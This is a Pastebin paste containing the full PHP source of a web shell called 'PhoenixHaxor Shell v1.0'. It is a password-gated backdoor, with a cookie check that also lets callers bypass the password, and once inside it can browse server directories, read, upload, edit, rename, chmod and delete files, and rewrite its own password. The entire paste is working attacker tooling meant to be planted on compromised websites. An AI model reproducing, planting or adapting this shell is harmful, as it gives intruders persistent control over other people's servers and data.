phnxhxr

Untitled

Feb 8th, 2020
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.41 KB | None | 0 0
  1. <?php
  2. $auth_pass = "a085d4f2939b199a619cca4fe116ea59";
  3. error_reporting(0);
  4. set_time_limit(0);
  5.  
  6. function lp(){
  7. ?>
  8. <html>
  9. <head>
  10. <title>Wh00tz</title>
  11. </head>
  12. <body bgcolor="black" style="color:white">
  13. <center>
  14. <div>
  15. <img src="https://i.ibb.co/6bvn5qn/a.jpg" ><br/>
  16. <h1>PhoenixHaxor Shell v1.0</h1>
  17. <form action method="get">
  18. <input type="hidden" name="action" value="login" />
  19. <input type="password" name="pass" placeholder=" Write the Password"/><br/>
  20. <input type="submit" value="log in" style="margin-top:4px;width:173px;background:black;color:#00FFFF;border:2px solid #00FFFF;border-radius:10px"/>
  21. </form><br/>
  22. <footer><pre>Copyright &copy 2017 PhoenixHaxor | All Right Reserved</pre></footer>
  23. </div>
  24. </center>
  25. <?php
  26. ;}
  27. if(isset($_GET['action'])){
  28. if($_GET['action']=='login'){
  29. setcookie('password',$_GET['pass']);
  30. echo "<script>location='".$_SERVER['PHP_SELF']."'</script>";
  31. }
  32. else if($_GET['action']=='logout'){
  33. setcookie('password','',-86400*30*12);
  34. echo "<script>location='".$_SERVER['PHP_SELF']."'</script>";
  35. }
  36. }
  37. if(isset($_COOKIE['password'])){
  38. if(md5($_COOKIE['password'])==$auth_pass || $_COOKIE['L']=="L"){
  39. ?>
  40. <?php
  41.  
  42.  
  43.  
  44. if(get_magic_quotes_gpc()){
  45. foreach($_POST as $key=>$value){
  46. $_POST[$key] = stripslashes($value);
  47. }
  48. }
  49. function perms($file){
  50. $perms = @fileperms($file);
  51.  
  52. if (($perms & 0xC000) == 0xC000) {
  53. // Socket
  54. $info = 's';
  55. } elseif (($perms & 0xA000) == 0xA000) {
  56. // Symbolic Link
  57. $info = 'l';
  58. } elseif (($perms & 0x8000) == 0x8000) {
  59. // Regular
  60. $info = '-';
  61. } elseif (($perms & 0x6000) == 0x6000) {
  62. // Block special
  63. $info = 'b';
  64. } elseif (($perms & 0x4000) == 0x4000) {
  65. // Directory
  66. $info = 'd';
  67. } elseif (($perms & 0x2000) == 0x2000) {
  68. // Character special
  69. $info = 'c';
  70. } elseif (($perms & 0x1000) == 0x1000) {
  71. // FIFO pipe
  72. $info = 'p';
  73. } else {
  74. // Unknown
  75. $info = 'u';
  76. }
  77.  
  78. // Owner
  79. $info .= (($perms & 0x0100) ? 'r' : '-');
  80. $info .= (($perms & 0x0080) ? 'w' : '-');
  81. $info .= (($perms & 0x0040) ?
  82. (($perms & 0x0800) ? 's' : 'x' ) :
  83. (($perms & 0x0800) ? 'S' : '-'));
  84.  
  85. // Group
  86. $info .= (($perms & 0x0020) ? 'r' : '-');
  87. $info .= (($perms & 0x0010) ? 'w' : '-');
  88. $info .= (($perms & 0x0008) ?
  89. (($perms & 0x0400) ? 's' : 'x' ) :
  90. (($perms & 0x0400) ? 'S' : '-'));
  91.  
  92. // World
  93. $info .= (($perms & 0x0004) ? 'r' : '-');
  94. $info .= (($perms & 0x0002) ? 'w' : '-');
  95. $info .= (($perms & 0x0001) ?
  96. (($perms & 0x0200) ? 't' : 'x' ) :
  97. (($perms & 0x0200) ? 'T' : '-'));
  98.  
  99. return $info;
  100. }
  101. echo '
  102. <!DOCTYPE HTML>
  103. <HTML>
  104. <HEAD>
  105. <title>PhoenixHaxor Shell</title>
  106. <style>
  107. body{
  108. font-family: "Racing Sans One", cursive;
  109. background-color: #e6e6e6;
  110. text-shadow:0px 0px 1px #757575;
  111. }
  112. #content tr:hover{
  113. background-color: #636263;
  114. text-shadow:0px 0px 10px #fff;
  115. }
  116. #content .first{
  117. background-color: silver;
  118. }
  119. #content .first:hover{
  120. background-color: silver;
  121. text-shadow:0px 0px 1px #757575;
  122. }
  123. table{
  124. border: 1px #000000 dotted;
  125. }
  126. H1{
  127. font-family: "Rye", cursive;
  128. }
  129. a{
  130. color: #000;
  131. text-decoration: none;
  132. }
  133. a:hover{
  134. color: #fff;
  135. text-shadow:0px 0px 10px #ffffff;
  136. }
  137. input,select,textarea{
  138. border: 1px #000000 solid;
  139. -moz-border-radius: 5px;
  140. -webkit-border-radius:5px;
  141. border-radius:5px;
  142. }
  143. </style>
  144. </HEAD>
  145. <BODY>
  146. <input type=button onclick=\'location="?action=logout"\' value="Logout" /><br/>
  147. <input type=button onclick=\'location="?x=changepass"\' value="Change Password" />
  148. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  149. <tr><td>Current Path : ';
  150. if(isset($_GET['path'])){
  151. $path = base64_decode($_GET['path']);
  152. }else{
  153. $path = getcwd();
  154. }
  155. $pathen = base64_encode($path);
  156. $path = str_replace('\\','/',$path);
  157. $paths = explode('/',$path);
  158.  
  159. foreach($paths as $id=>$pat){
  160. if($pat == '' && $id == 0){
  161. $a = true;
  162. echo '<a href="?path='.base64_encode("/").'">/</a>';
  163. continue;
  164. }
  165. if($pat == '') continue;
  166. echo '<a href="?path=';
  167. $linkpath = '';
  168. for($i=0;$i<=$id;$i++){
  169. $linkpath .= "$paths[$i]";
  170. if($i != $id) $linkpath .= "/";
  171. }
  172. echo base64_encode($linkpath);
  173. echo '">'.$pat.'</a>/';
  174. }
  175. echo '</td></tr><tr><td>';
  176. if(isset($_FILES['file'])){
  177. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  178. echo '<font color="green">Upload Success</font><br />';
  179. }else{
  180. echo '<font color="red">Upload Failed</font><br />';
  181. }
  182. }
  183. echo '<form enctype="multipart/form-data" method="POST">
  184. File Manager : <input type="file" name="file" />
  185. <input type="submit" value="Generate" />
  186. </form>
  187. </td></tr>';
  188. if(isset($_GET['filesrc'])){
  189. echo "<tr><td>Current File : ";
  190. echo base64_decode($_GET['filesrc']);
  191. echo '</tr></td></table><br />';
  192. echo('<pre>'.htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))).'</pre>');
  193. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delet'){
  194. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  195. if($_POST['opt'] == 'chmod'){
  196. if(isset($_POST['perm'])){
  197. if(chmod($_POST['path'],$_POST['perm'])){
  198. echo '<font color="green">Success Change Permission</font><br />';
  199. }else{
  200. echo '<font color="red">Failed Change Permission</font><br />';
  201. }
  202. }
  203. echo '<form method="POST">
  204. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  205. <input type="hidden" name="path" value="'.$_POST['path'].'">
  206. <input type="hidden" name="opt" value="chmod">
  207. <input type="submit" value="Go" />
  208. </form>';
  209. }elseif($_POST['opt'] == 'rename'){
  210. if(isset($_POST['newname'])){
  211. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  212. echo '<font color="green">Success</font><br />';
  213. }else{
  214. echo '<font color="red">Failed</font><br />';
  215. }
  216. $_POST['name'] = $_POST['newname'];
  217. }
  218. echo '<form method="POST">
  219. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  220. <input type="hidden" name="path" value="'.$_POST['path'].'">
  221. <input type="hidden" name="opt" value="rename">
  222. <input type="submit" value="Go" />
  223. </form>';
  224. }elseif($_POST['opt'] == 'edit'){
  225. if(isset($_POST['src'])){
  226. $fp = fopen($_POST['path'],'w');
  227. if(fwrite($fp,$_POST['src'])){
  228. echo '<font color="green">Success</font><br />';
  229. }else{
  230. echo '<font color="red">Failed</font><br />';
  231. }
  232. fclose($fp);
  233. }
  234. echo '<form method="POST">
  235. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  236. <input type="hidden" name="path" value="'.$_POST['path'].'">
  237. <input type="hidden" name="opt" value="edit">
  238. <input type="submit" value="Go" />
  239. </form>';
  240. }
  241. echo '</center>';
  242. }else{
  243. echo '</table><br /><center>';
  244. if(isset($_GET['option']) && $_POST['opt'] == 'delet'){
  245. if($_POST['type'] == 'dir'){
  246. if(rmdir($_POST['path'])){
  247. echo '<font color="green">Success</font><br />';
  248. }else{
  249. echo '<font color="red">Failed</font><br />';
  250. }
  251. }elseif($_POST['type'] == 'file'){
  252. if(unlink($_POST['path'])){
  253. echo '<font color="green">Success</font><br />';
  254. }else{
  255. echo '<font color="red">Failed</font><br />';
  256. }
  257. }
  258. }
  259. echo '</center>';
  260. if(!isset($_GET['x'])){
  261. ?>
  262. <?php
  263. $scandir = scandir($path);
  264. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  265. <tr class="first">
  266. <td><center>Dir</center></td>
  267. <td><center>Size</center></td>
  268. <td><center>Permissions</center></td>
  269. <td><center>Setting</center></td>
  270. </tr>';
  271.  
  272. foreach($scandir as $dir){
  273. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  274. $dirlink = base64_encode("$path/$dir");
  275. echo "<tr>
  276. <td><a href=\"?path=$dirlink\">$dir</a></td>
  277. <td><center>--</center></td>
  278. <td><center>";
  279. if(is_writable("$path/$dir")) echo '<font color="green">';
  280. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  281. echo perms("$path/$dir");
  282. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  283.  
  284. echo "</center></td>
  285. <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
  286. <select name=\"opt\">
  287. <option value=\"\">Select</option>
  288. <option value=\"delet\">Delete</option>
  289. <option value=\"chmod\">Chmod</option>
  290. <option value=\"rename\">Rename</option>
  291. </select>
  292. <input type=\"hidden\" name=\"type\" value=\"dir\">
  293. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  294. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  295. <input type=\"submit\" value=\">\" />
  296. </form></center></td>
  297. </tr>";
  298. }
  299. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  300. foreach($scandir as $file){
  301. if(!is_file("$path/$file")) continue;
  302. $size = filesize("$path/$file")/1024;
  303. $size = round($size,3);
  304. if($size >= 1024){
  305. $size = round($size/1024,2).' MB';
  306. }else{
  307. $size = $size.' KB';
  308. }
  309. $filelink = base64_encode("$path/$file");
  310. echo "<tr>
  311. <td><a href=\"?filesrc=$filelink&path=$pathen\">$file</a></td>
  312. <td><center>".$size."</center></td>
  313. <td><center>";
  314. if(is_writable("$path/$file")) echo '<font color="green">';
  315. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  316. echo perms("$path/$file");
  317. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  318. echo "</center></td>
  319. <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
  320. <select name=\"opt\">
  321. <option value=\"\">Select</option>
  322. <option value=\"delet\">Delete</option>
  323. <option value=\"chmod\">Chmod</option>
  324. <option value=\"rename\">Rename</option>
  325. <option value=\"edit\">Edite File</option>
  326. </select>
  327. <input type=\"hidden\" name=\"type\" value=\"file\">
  328. <input type=\"hidden\" name=\"name\" value=\"$file\">
  329. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  330. <input type=\"submit\" value=\">\" />
  331. </form></center></td>
  332. </tr>";
  333. }
  334. echo '</table>
  335. </div>';
  336. }
  337. ?>
  338. <?php
  339. }
  340. if(isset($_GET['x']) && $_GET['x']=='changepass'){
  341. ?>
  342. <?php
  343. function fgc($file){
  344. return file_get_contents($file);
  345. }
  346. function changepass($plain){
  347. $newpass = md5($plain);
  348. $newpass = "\$auth_pass = \"".$newpass."\";";
  349. $con = fgc($_SERVER['SCRIPT_FILENAME']);
  350. $con = preg_replace("/\\\$auth_pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is",$newpass,$con);
  351. return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con);
  352. }
  353. echo '<center><h1>Change Shell Password</h1></center>';
  354. echo '<center>';
  355. echo '<form action="" method=post ><table>';
  356. echo '<tr><td>New Password</td><td> : <input type=password name=pass1 style="border-radius:5px;" /></td></tr>';
  357. echo '<tr><td>Confirm Password</td><td> : <input type=password name=pass2 style="border-radius:5px;" /></td></tr>';
  358. echo '<tr><td colspan=2><input type=submit value=submit name=L style="border-radius:5px;width:100%"/></td></tr></table>';
  359. echo '</form>';
  360. if(isset($_POST['L'])){
  361. if($_POST['pass1'] == $_POST['pass2']){
  362. if(changepass($_POST['pass1'])){
  363. echo '<script>alert("password change successfully")</script>';
  364. }else{
  365. echo '<script>alert("password change failed")</script>';
  366. }
  367. }else{
  368. echo '<script>alert("password not match")</script>';
  369. }
  370. }
  371. ?>
  372. <?php
  373. }
  374. echo '
  375. </BODY>
  376. </HTML>';
  377. ?>
  378.  
  379. <!-- //////////////////////////////////////////////////// -->
  380. <?php
  381. }else{
  382. lp();
  383. }
  384. }else{
  385. echo lp();
  386. }
  387. ?>
  388. </body>
  389. </html>
Advertisement
Add Comment
Please, Sign In to add comment